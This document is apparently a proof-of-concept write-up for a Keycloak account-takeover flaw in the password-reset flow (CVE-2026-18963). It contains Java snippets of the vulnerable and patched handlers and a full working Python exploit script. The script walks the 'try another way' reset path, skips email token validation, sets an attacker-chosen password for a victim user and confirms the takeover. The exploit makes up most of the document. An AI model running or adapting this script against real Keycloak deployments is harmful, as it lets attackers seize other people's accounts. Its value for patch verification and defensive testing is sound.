Keycloak CVE-2026-18963: Account Takeover via Reset-Credentials Bypass

// User clicked on "try another way" link
if (inputData.containsKey("tryAnotherWay")) {
    logger.trace("User clicked on link 'Try Another Way'");
    processor.getAuthenticationSession().setAuthNote(
        AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
    return createSelectAuthenticatorsScreen(model);
}

if (Boolean.parseBoolean(processor.getAuthenticationSession().getAuthNote(
        AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
    logger.tracef("Refreshed page on authentication selector screen");
    String lastExecutionId = processor.getAuthenticationSession().getAuthNote(
        AuthenticationProcessor.CURRENT_AUTHENTICATION_EXECUTION);
    if (lastExecutionId != null) {
        AuthenticationExecutionModel executionModel = processor.getRealm()
            .getAuthenticationExecutionById(lastExecutionId);
        if (executionModel != null) {
            return createSelectAuthenticatorsScreen(executionModel);
        }
    }
}

@Override
public void action(AuthenticationFlowContext context) {
    context.getUser().setEmailVerified(true);
    context.success();
}

@Override
public void action(AuthenticationFlowContext context) {
    UserModel user = context.getUser();
    String actionTokenUserId = context.getAuthenticationSession()
        .getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
    if (user != null && user.getId().equals(actionTokenUserId)) {
        context.getUser().setEmailVerified(true);
        context.success();
    } else {
        // not called via action token or any other weird situation
        context.failure(AuthenticationFlowError.INVALID_USER);
    }
}

processor.getAuthenticationSession().setAuthNote(
    AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());

#!/usr/bin/env python3
"""
CVE-2026-18963 local PoC against Keycloak 26.7.1.

Exploit chain (based on the upstream regression test resetPasswordTryAnotherWay):

1. Start the OIDC login flow for the public client.
2. Click "Forgot Password?" to enter the reset-credentials flow.
3. Submit `tryAnotherWay` on the reset page. This sets the unscoped auth note
   `AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true (the vulnerable behavior).
4. On the selector, submit the victim's username. Keycloak runs
   ResetCredentialChooseUser, then ResetCredentialEmail.authenticate(), which
   sends the real reset email and redirects back to the browser login page.
5. Navigate back to the original reset-credentials URL. Because the selector
   note is still "true", Keycloak re-enters the reset flow at the
   ResetCredentialEmail execution and shows the selector again.
6. Submit the selector form without picking a different authenticator. This
   invokes `ResetCredentialEmail.action()`, which in 26.7.1 simply calls
   `context.success()` without validating the email action token.
7. The flow advances to Reset Password; submit a new attacker-controlled password.
8. Keycloak authenticates the victim and returns an OAuth authorization code,
   proving account takeover.

Internal / authorized testing use only.
"""
from __future__ import annotations

import html
import re
import sys
from urllib.parse import urljoin

import requests

BASE = "http://127.0.0.1:8080"
REALM = "demo"
CLIENT_ID = "poc-client"
REDIRECT_URI = f"{BASE}/realms/demo/account"
VICTIM = "victim"
NEW_PASSWORD = "[REDACTED]"


class KCSession:
    """Session that preserves KC auth cookies but drops KC_RESTART."""

    def __init__(self):
        self.s = requests.Session()
        self.cookies: dict[str, str] = {}

    def _update_cookies(self, headers) -> None:
        raw = headers.get("set-cookie", "") or ""
        for part in raw.split(","):
            nv = part.strip().split(";")[0]
            if "=" not in nv:
                continue
            name, value = nv.split("=", 1)
            name = name.strip()
            value = value.strip()
            # Do not keep KC_RESTART; it confuses login-actions endpoints after auth init.
            if name != "KC_RESTART":
                self.cookies[name] = value

    def _cookie_header(self) -> str:
        return "; ".join(f"{k}={v}" for k, v in self.cookies.items())

    def request(self, method: str, url: str, **kwargs) -> requests.Response:
        allow_redirects = kwargs.pop("allow_redirects", True)
        headers = kwargs.pop("headers", {})
        headers["Cookie"] = self._cookie_header()
        r = getattr(self.s, method)(
            url, headers=headers, allow_redirects=allow_redirects, **kwargs
        )
        self._update_cookies(r.headers)
        return r


def page_id(r: requests.Response) -> str:
    m = re.search(r'<body[^>]*data-page-id="([^"]+)"', r.text, re.I)
    return m.group(1) if m else "none"


def forms(r: requests.Response) -> list[tuple[str, dict[str, str]]]:
    result = []
    for m in re.finditer(
        r'<form[^>]*action="([^"]+)"[^>]*>(.*?)</form>', r.text, re.S | re.I
    ):
        action = html.unescape(m.group(1).replace("&amp;", "&"))
        inputs = {
            name: value
            for name, value in re.findall(
                r'<input[^>]*name="([^"]+)"[^>]*value="([^"]*)"', m.group(2), re.I
            )
        }
        result.append((action, inputs))
    return result


def first_form(r: requests.Response) -> tuple[str, dict[str, str]]:
    f = forms(r)
    if not f:
        raise RuntimeError("No form found on page")
    return f[0]


def follow(kc: KCSession, r: requests.Response, max_hops: int = 5) -> requests.Response:
    for _ in range(max_hops):
        if not (300 <= r.status_code < 400):
            break
        loc = r.headers["Location"]
        if loc.startswith("/"):
            loc = urljoin(BASE, loc)
        r = kc.request("get", loc, allow_redirects=False)
    return r


def is_auth_success(url: str) -> bool:
    return "code=" in url


def run_poc() -> int:
    kc = KCSession()

    # 1. Start OIDC login flow.
    r = kc.request(
        "get",
        f"{BASE}/realms/{REALM}/protocol/openid-connect/auth",
        params={
            "client_id": CLIENT_ID,
            "redirect_uri": REDIRECT_URI,
            "response_type": "code",
            "scope": "openid",
        },
        allow_redirects=False,
    )
    r = follow(kc, r)
    print(f"[1] login page          : {page_id(r)} {r.url}")

    # 2. Click "Forgot Password?".
    m = re.search(r'href="([^"]+)"[^>]*>\s*Forgot\s+Password', r.text, re.I)
    if not m:
        print("ERROR: forgot-password link not found")
        return 1
    reset_url = urljoin(BASE, html.unescape(m.group(1).replace("&amp;", "&")))
    print(f"[2] reset credentials URL: {reset_url}")

    r = kc.request("get", reset_url, allow_redirects=False)
    r = follow(kc, r)
    print(f"    reset page           : {page_id(r)} {r.url}")

    # 3. Submit tryAnotherWay. This sets AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true.
    action, _ = first_form(r)
    print(f"    reset form action    : {action}")
    r = kc.request("post", action, data={"tryAnotherWay": "on"}, allow_redirects=False)
    r = follow(kc, r)
    print(f"[3] after tryAnotherWay  : {page_id(r)} {r.url}")

    # 4. On selector, submit username. This sends the real email and redirects to login.
    action, _ = first_form(r)
    print(f"    selector action      : {action}")
    r = kc.request("post", action, data={"username": VICTIM}, allow_redirects=False)
    r = follow(kc, r)
    print(f"[4] after username select: {page_id(r)} {r.url}")

    # 5. Navigate back to the reset-credentials URL. The unscoped selector flag
    #    resurrects the selector, now positioned at Send Reset Email.
    r = kc.request("get", reset_url, allow_redirects=False)
    r = follow(kc, r)
    print(f"[5] back at reset url    : {page_id(r)} {r.url}")

    # 6. Submit the selector form without switching authenticator. This invokes
    #    ResetCredentialEmail.action(), which in 26.7.1 does not validate the token.
    action, _ = first_form(r)
    print(f"    email selector action: {action}")
    r = kc.request("post", action, data={}, allow_redirects=False)
    r = follow(kc, r)
    print(f"[6] after email action() : {page_id(r)} {r.url}")

    # 7. If we reached the password-update page, set the new password.
    if "update-password" not in page_id(r):
        print("\n*** Exploit failed: did not reach login-update-password ***")
        return 1

    print("\n*** BYPASS REACHED: login-update-password ***")
    action, inputs = first_form(r)
    r = kc.request(
        "post",
        action,
        data={
            **inputs,
            "password-new": NEW_PASSWORD,
            "password-confirm": NEW_PASSWORD,
        },
        allow_redirects=False,
    )
    loc = r.headers.get("Location", "")
    print(f"[7] password reset POST  : status={r.status_code} Location={loc[:160]}")

    if is_auth_success(loc):
        print(f"\n*** ACCOUNT TAKEOVER CONFIRMED ***")
        print(f"    Authorization code returned for victim '{VICTIM}'.")
        return 0

    r = follow(kc, r)
    print(f"[7b] after follow         : {page_id(r)} {r.url}")
    if is_auth_success(r.url):
        print(f"\n*** ACCOUNT TAKEOVER CONFIRMED ***")
        return 0

    print("\n*** Exploit reached update-password but final redirect did not contain a code ***")
    return 1


def verify_takeover() -> bool:
    """Confirm the victim's password was actually changed by logging in fresh."""
    kc = KCSession()
    r = kc.request(
        "get",
        f"{BASE}/realms/{REALM}/protocol/openid-connect/auth",
        params={
            "client_id": CLIENT_ID,
            "redirect_uri": REDIRECT_URI,
            "response_type": "code",
            "scope": "openid",
        },
        allow_redirects=False,
    )
    r = follow(kc, r)
    action, _ = first_form(r)
    r = kc.request(
        "post", action, data={"username": VICTIM, "password": NEW_PASSWORD}, allow_redirects=False
    )
    loc = r.headers.get("Location", "")
    print(f"\n[verify] login POST status={r.status_code} Location={loc[:120]}")
    return is_auth_success(loc) or is_auth_success(follow(kc, r).url)


if __name__ == "__main__":
    result = run_poc()
    if result == 0:
        if verify_takeover():
            print("[verify] Fresh login with new password succeeded.")
        else:
            print("[verify] Fresh login with new password did NOT succeed.")
        sys.exit(0)
    sys.exit(result)

cd /home/adrian/labs/keycloak-cve-2026-18963
python3 poc_final.py